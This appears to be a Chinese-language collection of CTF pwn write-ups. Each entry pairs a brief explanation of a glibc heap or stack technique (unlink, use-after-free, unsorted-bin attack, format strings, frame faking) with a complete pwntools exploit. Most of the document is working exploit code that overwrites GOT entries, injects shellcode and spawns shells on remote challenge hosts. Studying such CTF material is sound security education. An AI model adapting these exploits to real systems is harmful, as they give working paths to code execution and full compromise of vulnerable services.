note-service2 数组越界、chunk数据结构 存在数组越界的漏洞,且NX保护关闭,堆栈可执行。思路:申请一些堆块并写入shellcode,将free函数的got表修指向堆块shell,调用该函数时运行shellcode。
⭐chunk 在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。c函数申请堆内存时,可以使用的内存的起始地址是从fd成员开始的,所以用户无法访问结构体的前两个成员。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; struct malloc_chunk * fd_nextsize; struct malloc_chunk * bk_nextsize; };
当用户申请size大小的堆块时,在glibc中本质上是申请了size+16大小(64位系统中)的内存,因为要加上前两个成员。
例如:malloc(0x10),申请了0x10大小的堆内存,本质上在glibc中申请了0x10+0x10=0x20大小的空间。malloc的堆块大小在glibc中会加上前两个成员的大小,所以当你分配一个堆内存时,堆内存的最小大小一定为0x20(0x10+0x10)。
chunk 的大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。
现在我们想从 chunk0 的data区 jmp 跳到 chunk1 的 data 区执行新代码,那么我们 jmp short 后面的偏移为1+8+8+8=25=0x19,即\xeb\x19。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * context.log_level='debug' context.update(arch='amd64' ) io=remote('223.112.5.156' ,65298 )def add (index,content ): io.recvuntil("your choice>>" ) io.sendline("1" ) io.recvuntil("index:" ) io.sendline(str (index)) io.recvuntil("size:" ) io.sendline("8" ) io.recvuntil("content:" ) io.sendline(content)def dele (index ): io.recvuntil("your choice>>" ) io.sendline("4" ) io.recvuntil("index:" ) io.sendline(str (index)) add(0 ,"/bin/sh" ) add(-17 ,asm("xor rsi,rsi" )+b"\x90\x90\xeb\x19" ) add(1 ,asm("mov eax, 0x3b" )+b"\xeb\x19" ) add(2 ,asm("xor rdx, rdx" )+b"\x90\x90\xeb\x19" ) add(3 ,asm("syscall" ).ljust(7 ,b"\x90" )) dele(0 ) io.interactive()
secret_file 汇编、复制栈溢出
1 2 3 4 5 6 7 8 9 from pwn import *from hashlib import sha256 r = remote('61.147.171.105' , 53191 ) junk = cyclic(0x100 ) payload = junk + b"ls;cat flag.txt;" .ljust(27 , b" " ) + sha256(junk).hexdigest().encode("utf-8" ) r.sendline(payload) r.interactive()
supermarket 堆UAF、realloc 1 2 realloc原型是extern void *realloc (void *mem_address, unsigned int newsize) ; 先判断当前的指针是否有足够的连续空间,如果有,扩大mem_address指向的地址,并且将mem_address返回,如果空间不够,先按照newsize指定的大小分配空间,将原有数据从头到尾拷贝到新分配的内存区域,而后释放原来mem_address所指内存区域(注意:原来指针是自动释放,不需要使用free),同时返回新分配的内存区域的首地址。即重新分配存储器块的地址。
realloc如果空间不够的话重新分配,当chunk0下面有其他chunk时,就会丢弃原来位置的chunk并free 它,然后在最后面再申请一个大于原size的chunk;当chunk0后面没有其他chunk时,就会原地扩充大小。
思路:通过realloc让Node0->description指向Node2,通过修改Node0->description的值从而修改Node2->description指向的内存区域。这个值指向atoi的got地址,从而泄露atoi的地址并修改它为system的got地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * context(log_level="debug" ,arch="i386" ,os="linux" ) r = remote("61.147.171.105" ,50277 ) elf = ELF("./supermarket" ) libc = ELF("./libc.so.6" ) atoi_got = elf.got['atoi' ]def add1 (index,size,content ): r.sendlineafter('your choice>>' ,'1' ) r.sendlineafter('name:' ,str (index)) r.sendlineafter('price:' ,'10' ) r.sendlineafter('descrip_size:' ,str (size)) r.sendlineafter('description:' ,content)def del1 (index ): r.sendlineafter('your choice>>' ,'2' ) r.sendlineafter('name:' ,str (index))def list1 (): r.sendlineafter('your choice>>' ,'3' )def edit1 (index,size,content ): r.sendlineafter('your choice>>' ,'5' ) r.sendlineafter('name:' ,str (index)) r.sendlineafter('descrip_size:' ,str (size)) r.sendlineafter('description:' ,content) add1(0 ,0x80 ,'a' *0x10 ) add1(1 ,0x20 ,'b' *0x10 ) edit1(0 ,0x90 ,'000' ) add1(2 ,0x20 ,'d' *0x10 ) payload = b'2' .ljust(16 ,b'\x00' ) + p32(20 ) + p32(0x20 ) + p32(atoi_got) edit1(0 ,0x80 ,payload) list1() r.recvuntil('2: price.20, des.' ) atoi_addr = u32(r.recv(4 )) offset = atoi_addr - libc.symbols['atoi' ] system_addr = offset + libc.symbols['system' ] edit1(2 ,0x20 ,p32(system_addr)) r.sendafter('your choice>>' ,'/bin/sh\x00' ) r.interactive()
4-ReeHY-main-100⭐ unlink 参考:https://www.codenong.com/cs109514415/
1 2 3 4 5 6 7 8 9 P:为要取出的chunk指针(指向chunk头) 修改P的fd位为:P - 0x18 修改P的bk位为:P - 0x10 在执行unlink时会检测,(P->fd + 0x18 == P && P-bk + 0x10 ==P),即检测P的下一个chunk的上一个chunk是否为P和P的上一个chunk的下一个chunk是否为P, 即 (P - 0x18 +0x18 ==P && P - 0x10 + 0x10 ==p) 为真。满足执行unlink条件。 unlink操作为: P->fd + 0x18 = P->bk ==> P - 0x18 + 0x18 = P - 0x10 ==> P = P - 0x10 P->bk + 0x10 = P->fd ==> P - 0x10 + 0x10 = P - 0x18 ==> P = P - 0x18 所有执行完后就实现了 P = P - 0x18 。如果程序将chunk的指针(chunk中用户可编辑区的指针)存储在全局bass段,我们就能得到一个bass地址mem = mem - 0x18 ,结合对mem指针进行编辑的程序,进而来实现bass段任意写入。
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import * io = remote('61.147.171.105' ,57614 ) def welcome (): io.recvuntil('name: \n$' ) io.send('demo' )def create (index,size,content ): io.recvuntil('*********\n$' ) io.send('1' ) io.recvuntil('Input size\n' ) io.send(str (size)) io.recvuntil('Input cun\n' ) io.send(str (index)) io.recvuntil('Input content\n' ) io.send(content) def delete (index ): io.recvuntil('*********\n$' ) io.send('2' ) io.recvuntil('Chose one to dele\n' ) io.send(str (index))def edit (index,content ): io.recvuntil('*********\n$' ) io.send('3' ) io.recvuntil('to edit\n' ) io.send(str (index)) io.recvuntil('the content\n' ) io.send(content)def exp (): system_off = 0x45390 puts_off = 0x6f690 got_addr = 0x602018 p_addr = 0x602100 puts_plt = 0x4006d0 welcome() create(0 ,0x20 ,'/bin/sh\x00' ) create(2 ,0x100 ,'BBBB' ) create(1 ,0x100 ,'CCCC' ) delete(2 ) delete(1 ) payload = p64(0 ) payload += p64(0x101 ) payload += p64(p_addr-0x18 ) payload += p64(p_addr-0x10 ) payload += b'a' *(0x100 -4 *8 ) payload += p64(0x100 ) payload += p64(0x110 ) create(2 ,0x210 ,payload) delete(1 ) payload = p64(1 ) payload += p64(got_addr) payload += p64(1 ) payload += p64(got_addr+8 ) payload += p64(1 ) edit(2 ,payload) edit(1 ,p64(puts_plt)) delete(2 ) puts_addr = io.recv(6 ) system_addr = u64(puts_addr+b'\x00' *2 )-puts_off+system_off edit(1 ,p64(system_addr)) delete(0 ) io.interactive() exp()
babyfengshui 堆溢出
首先创建一个堆块用来存放description信息,用*S指向它;再创建一个堆块,用*V2指向它,前四个字节存放description的地址,后面用来存放名字name;最后将bss段的ptr[0]指向*V2这个堆块。并将byte_804b069自加1,这个值相当于记录目前一共申请了多少个user。
*本题给的libc有问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context(arch='i386' ,os='linux' ,log_level='debug' ) elf = ELF('./babyfengshui' ) p = remote("61.147.171.105" ,55228 )def add_user (size,name,text_length,text ): p.recvuntil("Action: " ) p.sendline(str (0 )) p.recvuntil("size of description: " ) p.sendline(str (size)) p.recvuntil("name: " ) p.sendline(name) p.recvuntil("text length: " ) p.sendline(str (text_length)) p.recvuntil("text: " ) p.sendline(text)def del_user (user_index ): p.recvuntil("Action: " ) p.sendline(str (1 )) p.recvuntil("index: " ) p.sendline(str (user_index))def disp_user (user_index ): p.recvuntil("Action: " ) p.sendline(str (2 )) p.recvuntil("index: " ) p.sendline(str (user_index))def update_description (user_index,text_length,text ): p.recvuntil("Action: " ) p.sendline(str (3 )) p.recvuntil("index: " ) p.sendline(str (user_index)) p.recvuntil("text length: " ) p.sendline(str (text_length)) p.recvuntil("text: " ) p.sendline(text) add_user(0x10 ,'name0' ,0x10 ,'text0' ) add_user(0x10 ,'name1' ,0x10 ,'text1' ) del_user(0 ) add_user(0x80 ,'name2' ,0x80 ,'text2' ) payload = b"/bin/sh\x00" +b"a" *(0xa0 - len ("/bin/sh\x00" )) + p32(elf.got['free' ]) update_description(2 ,len (payload),payload) disp_user(1 ) p.recvuntil('description: ' ) free_addr = u32(p.recv(4 )) libc_base = free_addr - 0x070750 system_addr = libc_base + 0x03a940 update_description(1 ,4 ,p32(system_addr)) del_user(2 ) p.interactive()
Noleak⭐ unlink、unsortedbin attack unsorted_bin是双链表结构,FIFO(先进先出)。arena中fd指向链表首,bk指向链表尾。并且其中的chunk遵循头部插入尾部取出的规则。值得一提的是,首chunk的bk和尾chunk的fd都指向arena。取出尾chunk时会将arena中的bk指向尾chunk的fd,也就是上一个chunk的位置,同时会将上一个chunk的fd改写为arena的地址。这意味着,如果在取出尾部chunk前,我们如果将尾部chunk的bk修改为tartget_addr-0x10(fd被改掉不会直接报错,但是可能会破坏链表),那么在取出后,target的值就会被覆盖为main_arena+0x58的地址。
将**__malloc_hook赋值为某个函数的地址,那么,执行 malloc**时,系统就会去调用那个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import * context(arch = "amd64" , os = 'linux' ,log_level='debug' ) p = remote("61.147.171.105" ,61691 )def add_node (size,data ): p.recvuntil("Your choice :" ) p.sendline("1" ) p.recvuntil("Size:" ) p.sendline(str (size)) p.recvuntil("Data: " ) p.sendline(data)def update_node (index,size,data ): p.recvuntil("Your choice :" ) p.sendline("3" ) p.recvuntil("Index:" ) p.sendline(str (index)) p.recvuntil("Size:" ) p.sendline(str (size)) p.recvuntil("Data: " ) p.sendline(data)def delete_node (index ): p.recvuntil("Your choice :" ) p.sendline("2" ) p.recvuntil("Index:" ) p.sendline(str (index)) buf_addr = 0x601040 bss_addr = 0x601020 add_node(0x100 ,b"a" *0x100 ) add_node(0x100 ,b"b" *0x100 ) payload = p64(0 ) + p64(0x101 ) payload += p64(buf_addr-0x18 ) + p64(buf_addr-0x10 ) + 0xe0 *b"1" + p64(0x100 ) + p64(0x110 ) update_node(0 ,0x110 ,payload) delete_node(1 ) payload = p64(0 ) + p64(0 ) + p64(0 ) payload += p64(bss_addr) + p64(buf_addr) payload += p64(0 ) + p64(0 ) + p64(0 ) + p64(0x20 ) update_node(0 ,len (payload),payload) add_node(0x100 ,b"c" *0x100 ) add_node(0x100 ,b"d" *0x100 ) delete_node(2 ) payload = p64(0 ) + p64(buf_addr + 0x20 ) update_node(2 ,len (payload),payload) add_node(0x100 ,b"e" *0x100 ) payload = p64(bss_addr) + p64(buf_addr) payload += p64(0 ) * 4 payload += b"\x10" update_node(1 ,len (payload),payload) shellcode = asm(shellcraft.sh()) update_node(0 ,len (shellcode),shellcode) payload = p64(bss_addr) update_node(6 ,len (payload),payload) p.recvuntil("Your choice :" ) p.sendline("1" ) p.recvuntil("Size:" ) p.sendline("1" ) p.interactive()
1000levevls vsyscall 在开启了ASLR的系统上运行存在PIE保护的程序,意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall机制。它地址是固定不变的,即使开启了PIE也不会改变。
1 2 cat /proc/self/maps (gdb)dump memory ./dump 0xffffffffff600000 0xffffffffff601000
栈溢出
2. Hint 中system地址存储在rbp-0x110位置
1. Go 中输入0,rbp-0x110遗留的system地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * context(arch = "amd64" , os = 'linux' ,log_level='debug' ) r=process('./100levels' ) libc = ELF("./libc.so" ) one_gadget = 0x4526a system = libc.symbols['system' ]print r.recvuntil("Choice:\n" ) r.sendline('2' )print r.recvuntil("Choice:\n" ) r.sendline('1' )print r.recvuntil("How many levels?\n" ) r.sendline('0' )print r.recvuntil("Any more?\n" ) r.sendline(str (one_gadget-system))def calc (): print r.recvuntil("Question: " ) num1 = int (r.recvuntil(" " )) print r.recvuntil("* " ) num2 = int (r.recvuntil(" " )) ans = num1 * num2 print r.recvuntil("Answer:" ) r.sendline(str (ans))for i in range (99 ): calc()print r.recvuntil("Answer:" ) payload = 'a' * 0x38 + p64(0xffffffffff600000 ) * 3 r.send(payload) r.interactive()
hacknote UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * context(arch = "i386" , os = 'linux' ,log_level='debug' ) elf = ELF("./hacknote" ) p = remote("61.147.171.105" ,57590 ) libc = ELF("libc_32.so.6" )def BK (): gdb.attach(p)def Add (size,content ): p.sendlineafter(b'Your choice :' ,b'1' ) p.sendlineafter(b'Note size :' ,str (size)) p.sendlineafter(b'Content :' ,content)def Print (index ): p.sendlineafter(b'Your choice :' ,b'3' ) p.sendlineafter(b'Index :' ,str (index))def Del (index ): p.sendlineafter(b'Your choice :' ,b'2' ) p.sendlineafter(b'Index :' ,str (index)) Add(0x20 , "zzzz" ) Add(0x20 , "zzzz" ) Del(0 ) Del(1 ) puts_func_addr = 0x804862B puts_got = elf.got['puts' ] payload = p32(puts_func_addr) + p32(puts_got) Add(0x8 , payload) Print(0 ) libc_base = u32(p.recv(4 )) - libc.sym['puts' ] Del(2 ) system_addr = libc_base + libc.sym["system" ] payload = p32(system_addr) + b"||sh" Add(0x8 , payload) Print(0 ) p.interactive()
frame faking
思路:auth函数存在栈溢出,但是只能溢出到ebp,但是auth函数和main函数存在两次leave;ret 。使用frame faking,使rip指向&input-0x4位置,其中布置好后门地址。
1 2 3 4 5 6 7 8 9 10 11 from pwn import *import base64 context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) system_addr=0x08049284 input_addr=0x0811EB40 io = process("./123" ) paload='a' *4 +p32(system_addr)+p32(input_addr) io.sendline(base64.b64encode(paload)) io.interactive()
dubblesort 逻辑错误发生溢出 read读取数据到缓冲区前,未初始化,没有使用‘\x00’截断,造成数据泄漏;
代码中,scanf函数接收的数据格式为无符号整型%u。“+”和“-”即是合法字符,又不会修改栈上的数据,同时不会影响之后的输入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context(arch = "i386" , os = 'linux' ,log_level='debug' ) sh = process('./dubblesort' ,env={"LD_PRELOAD" : "./libc_32.so.6" }) libc = ELF('./libc_32.so.6' ) off = 0x1AE244 payload = 'a' *0x1C sh.sendafter('name :' ,payload) sh.recvuntil(payload) libc_base = u32(sh.recv(4 )) - off system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + libc.search('/bin/sh' ).next () print 'libc_base=' ,hex (libc_base) print 'system_addr=' ,hex (system_addr) sh.sendlineafter('sort :' ,str (35 )) for i in range (24 ): sh.sendlineafter('number :' ,str (0 )) sh.sendlineafter('number :' ,'+' ) for i in range (9 ): sh.sendlineafter('number :' ,str (system_addr)) sh.sendlineafter('number :' ,str (binsh_addr)) sh.interactive()
echo_back⭐⭐ 格式化字符串、利用scanf内部结构写数据 太难= =
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import * context.log_level='debug' local=1 if local: sh=process('./echo_back' ,env={"LD_PRELOAD" : "./libc.so.6" }) libc=ELF('./libc.so.6' )else : sh=remote('61.147.171.105' , 63480 ) libc=ELF('./libc.so.6' ) main_addr=0xC6C pop_rdi_addr=0xD93 stdin_libc=libc.symbols['_IO_2_1_stdin_' ] libc_start_main_libc=libc.symbols['__libc_start_main' ] system_libc=libc.symbols['system' ] bin_sh_libc=libc.search('/bin/sh' ).next ()def setName (name ): sh.sendlineafter('choice>> ' ,'1' ) sh.sendafter('name:' ,name)def echoBack (string,length='7\n' ): sh.sendlineafter('choice>> ' ,'2' ) sh.sendafter('length:' ,length) sh.send(string)def end (): sh.sendlineafter('choice>> ' ,'3' ) echoBack('%19$p\n' ) sh.recvuntil('0x' ) libc_start_main_addr=int (sh.recvline(),16 )-0xF0 libc_base=libc_start_main_addr-libc_start_main_libc system_addr=libc_base+system_libc bin_sh_addr=libc_base+bin_sh_libc stdin_addr=libc_base+stdin_libc buf_base=stdin_addr+0x8 *7 echoBack('%13$p\n' ) sh.recvuntil('0x' ) elf_base=int (sh.recvline(),16 )-0x9C -main_addr pop_rdi_addr+=elf_base echoBack('%12$p\n' ) sh.recvuntil('0x' ) main_ret_addr=int (sh.recvline(),16 )+0x8 setName(p64(buf_base)) echoBack('%16$hhn' ) payload=p64(stdin_addr+0x83 )*3 +p64(main_ret_addr)+p64(main_ret_addr+0x18 ) echoBack('\n' ,payload)for i in range (0 , len (payload) - 1 ): sh.sendlineafter('choice>>' ,'2' ) sh.sendlineafter('length:' ,'' ) payload=p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr) echoBack('\n' ,payload) end() sh.interactive()